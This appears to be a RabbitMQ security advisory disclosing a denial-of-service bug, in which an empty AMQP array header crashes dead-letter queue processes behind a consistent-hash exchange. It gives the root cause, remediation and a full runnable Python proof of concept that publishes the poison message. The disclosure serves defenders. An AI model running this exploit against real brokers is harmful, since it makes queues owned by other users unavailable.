Skip to content

RabbitMQ consistent-hash exchange: empty array crashes DLX queue processes

Low
michaelklishin published GHSA-pj8f-mw2q-3xjj Aug 18, 2026

Software

rabbitmq-server

Affected versions

>= 4.2.0, < 4.2.10
>= 4.3.0, < 4.3.5

Patched versions

4.2.10
4.3.5

Description

Summary

An x-consistent-hash exchange configured with hash-header accepts an AMQP
field-array as the selected hash value. RabbitMQ preserves an empty AMQP array
as the Erlang empty list [].

When the exchange has at least two buckets, its routing function treats lists
by hashing their first element and calls hd([]), raising badarg.

A direct publish closes the publisher's channel. More importantly, if a
classic queue dead-letters an attacker-controlled message through the exchange,
the routing exception occurs inside the victim queue process. A persistent
poison message is retried when the queue restarts, repeatedly crashing the
queue until its supervisor exhausts restart attempts. The attacker publication
is confirmed and the attacker's channel survives because the exception occurs
later in the victim's DLX path.

Preconditions

  • rabbitmq_consistent_hash_exchange is enabled.
  • An x-consistent-hash exchange uses hash-header = h.
  • At least two queues or bucket weights are bound to that exchange.
  • A classic queue is configured to dead-letter to the hash exchange.
  • The attacker can publish to an upstream exchange that routes into the classic
    queue.

The attacker does not need configure or read permission when the topology
already exists. The attached PoC uses one account to create the disposable test
topology for convenience.

Root cause

1. Empty AMQP arrays remain empty lists

The AMQP parser and message-container conversion preserve an empty field-array
header as [].

2. Multi-bucket list hashing assumes at least one element

%% deps/rabbitmq_consistent_hash_exchange/src/
%% rabbit_exchange_type_consistent_hash.erl:227-235
jump_consistent_hash(_Key, 1) ->
    0;
jump_consistent_hash(KeyList, NumberOfBuckets) when is_list(KeyList) ->
    jump_consistent_hash(hd(KeyList), NumberOfBuckets);

The one-bucket clause avoids the fault, but two or more buckets reach hd([]).

3. DLX routing is not isolated from the queue process

Classic queue dead lettering calls exchange routing inline. The badarg
therefore terminates rabbit_amqqueue_process before the poison message is
successfully dead-lettered and acknowledged.

Basic Python proof of concept

Requirements:

  • Python 3 with pika:

    python3 -m pip install pika

  • An already-running RabbitMQ server.

  • rabbitmq_consistent_hash_exchange enabled:

    rabbitmq-plugins enable rabbitmq_consistent_hash_exchange

  • A disposable vhost account with configure/read/write permission, because the
    script creates and removes its test topology.

Run:

python3 consistent-hash-empty-array-dlx-crash-poc.py \
  --host rabbitmq.example --port 5672 --vhost / \
  --user poc --password pocpass

The PoC:

  1. Declares a header-hashing consistent-hash exchange with two bucket queues.
  2. Declares a durable classic victim queue with a short TTL and that exchange
    as its DLX.
  3. Publishes a control message with an ordinary string header and verifies that
    exactly one hash target receives it.
  4. Publishes a persistent message with headers={"h": []}. Pika encodes the
    empty Python list as an AMQP empty field-array.
  5. Verifies that the attacker publication was confirmed and its channel
    survived.
  6. Verifies that the victim queue becomes unavailable while a fresh connection
    and unrelated queue operation still succeed.

Expected output:

{
  "control_publish_confirmed": true,
  "control_messages_routed_to_hash_targets": 1,
  "poison_publish_confirmed": true,
  "attacker_channel_alive_after_publish": true,
  "victim_queue_unavailable": true,
  "victim_queue_error": "404 NOT_FOUND - failed to perform operation on queue ... due to timeout",
  "broker_accepts_fresh_connection": true
}
VULNERABLE

The passive victim-queue check can take approximately one minute because the
broker waits for the repeatedly crashing queue process before returning the
timeout.

Impact

  • One authenticated publisher can make a separately owned classic queue
    unavailable when it shares the vulnerable DLX topology.
  • A persistent poison message survives the initial queue-process crash and is
    retried during restart.
  • Queue clients receive operation timeouts or internal errors.
  • The RabbitMQ node and unrelated queues remain available.
  • Quorum queues do not exhibit the same persistent restart behavior in the
    validated tracker evidence.

Recommended remediation

  • Reject empty array values for hash-header, or define a deterministic hash
    for an empty array.
  • Validate supported hash-header types before routing.
  • Contain exchange-routing exceptions at the DLX boundary so one message
    cannot terminate a queue process.
  • Move malformed poison messages to a safe discard/quarantine path after a
    bounded number of DLX failures.
  • Add direct-routing and classic-DLX regressions with empty field arrays and at
    least two buckets.
#!/usr/bin/env python3
"""RabbitMQ x-consistent-hash empty-array DLX queue-crash PoC."""

from __future__ import annotations

import argparse
import json
import time

import pika
from pika.exceptions import ChannelClosedByBroker, ConnectionClosedByBroker


HASH_EXCHANGE = "poc.empty-array.hash"
UPSTREAM_EXCHANGE = "poc.empty-array.upstream"
VICTIM_QUEUE = "poc.empty-array.victim"
TARGET_QUEUES = ["poc.empty-array.target.1", "poc.empty-array.target.2"]


def connect(args: argparse.Namespace) -> pika.BlockingConnection:
    return pika.BlockingConnection(
        pika.ConnectionParameters(
            host=args.host,
            port=args.port,
            virtual_host=args.vhost,
            credentials=pika.PlainCredentials(args.user, args.password),
            heartbeat=60,
            blocked_connection_timeout=30,
        )
    )


def cleanup(channel: pika.channel.Channel) -> None:
    for queue in [VICTIM_QUEUE, *TARGET_QUEUES]:
        try:
            channel.queue_delete(queue=queue)
        except ChannelClosedByBroker:
            return
    for exchange in [UPSTREAM_EXCHANGE, HASH_EXCHANGE]:
        try:
            channel.exchange_delete(exchange=exchange)
        except ChannelClosedByBroker:
            return


def setup(channel: pika.channel.Channel, ttl_ms: int) -> None:
    channel.exchange_declare(
        exchange=HASH_EXCHANGE,
        exchange_type="x-consistent-hash",
        durable=True,
        arguments={"hash-header": "h"},
    )
    for queue in TARGET_QUEUES:
        channel.queue_declare(queue=queue, durable=True)
        channel.queue_bind(exchange=HASH_EXCHANGE, queue=queue, routing_key="1")

    channel.exchange_declare(
        exchange=UPSTREAM_EXCHANGE,
        exchange_type="direct",
        durable=True,
    )
    channel.queue_declare(
        queue=VICTIM_QUEUE,
        durable=True,
        arguments={
            "x-message-ttl": ttl_ms,
            "x-dead-letter-exchange": HASH_EXCHANGE,
        },
    )
    channel.queue_bind(
        exchange=UPSTREAM_EXCHANGE,
        queue=VICTIM_QUEUE,
        routing_key="route",
    )


def target_ready_count(channel: pika.channel.Channel) -> int:
    return sum(
        channel.queue_declare(queue=queue, passive=True).method.message_count
        for queue in TARGET_QUEUES
    )


def victim_unavailable(args: argparse.Namespace, timeout: float) -> tuple[bool, str]:
    deadline = time.time() + timeout
    last = ""
    while time.time() < deadline:
        connection = connect(args)
        channel = connection.channel()
        try:
            channel.queue_declare(queue=VICTIM_QUEUE, passive=True)
            last = "passive declare succeeded"
            connection.close()
        except (ChannelClosedByBroker, ConnectionClosedByBroker) as exc:
            last = f"{exc.reply_code} {exc.reply_text}"
            try:
                connection.close()
            except Exception:
                pass
            if exc.reply_code in (404, 405, 406, 541):
                return True, last
        time.sleep(0.25)
    return False, last


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=5672)
    parser.add_argument("--vhost", default="/")
    parser.add_argument("--user", required=True)
    parser.add_argument("--password", required=True)
    parser.add_argument("--ttl-ms", type=int, default=500)
    parser.add_argument("--wait-seconds", type=float, default=10)
    args = parser.parse_args()

    connection = connect(args)
    channel = connection.channel()
    cleanup(channel)
    if channel.is_closed:
        connection.close()
        connection = connect(args)
        channel = connection.channel()
    setup(channel, args.ttl_ms)
    channel.confirm_delivery()

    control_publish_result = channel.basic_publish(
        exchange=UPSTREAM_EXCHANGE,
        routing_key="route",
        body=b"control",
        properties=pika.BasicProperties(
            headers={"h": "ordinary-value"},
            delivery_mode=2,
        ),
    )
    time.sleep(args.ttl_ms / 1000 + 1)
    control_deliveries = target_ready_count(channel)
    for queue in TARGET_QUEUES:
        channel.queue_purge(queue=queue)

    # Pika encodes [] as an AMQP field-array with zero elements.
    poison_publish_result = channel.basic_publish(
        exchange=UPSTREAM_EXCHANGE,
        routing_key="route",
        body=b"persistent poison",
        properties=pika.BasicProperties(headers={"h": []}, delivery_mode=2),
    )
    control_confirmed = control_publish_result is not False
    poison_confirmed = poison_publish_result is not False
    attacker_channel_alive = channel.is_open

    unavailable, unavailable_reason = victim_unavailable(
        args, args.wait_seconds
    )

    health_connection = connect(args)
    health_channel = health_connection.channel()
    health_channel.queue_declare(
        queue="poc.empty-array.health",
        durable=False,
        exclusive=True,
        auto_delete=True,
    )
    broker_alive = health_connection.is_open
    health_connection.close()

    result = {
        "control_publish_confirmed": control_confirmed,
        "control_messages_routed_to_hash_targets": control_deliveries,
        "poison_publish_confirmed": poison_confirmed,
        "attacker_channel_alive_after_publish": attacker_channel_alive,
        "victim_queue_unavailable": unavailable,
        "victim_queue_error": unavailable_reason,
        "broker_accepts_fresh_connection": broker_alive,
    }
    print(json.dumps(result, indent=2))

    vulnerable = (
        control_confirmed
        and control_deliveries == 1
        and poison_confirmed
        and attacker_channel_alive
        and unavailable
        and broker_alive
    )
    print("VULNERABLE" if vulnerable else "NOT_REPRODUCED")
    return 0 if vulnerable else 1


if __name__ == "__main__":
    raise SystemExit(main())

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits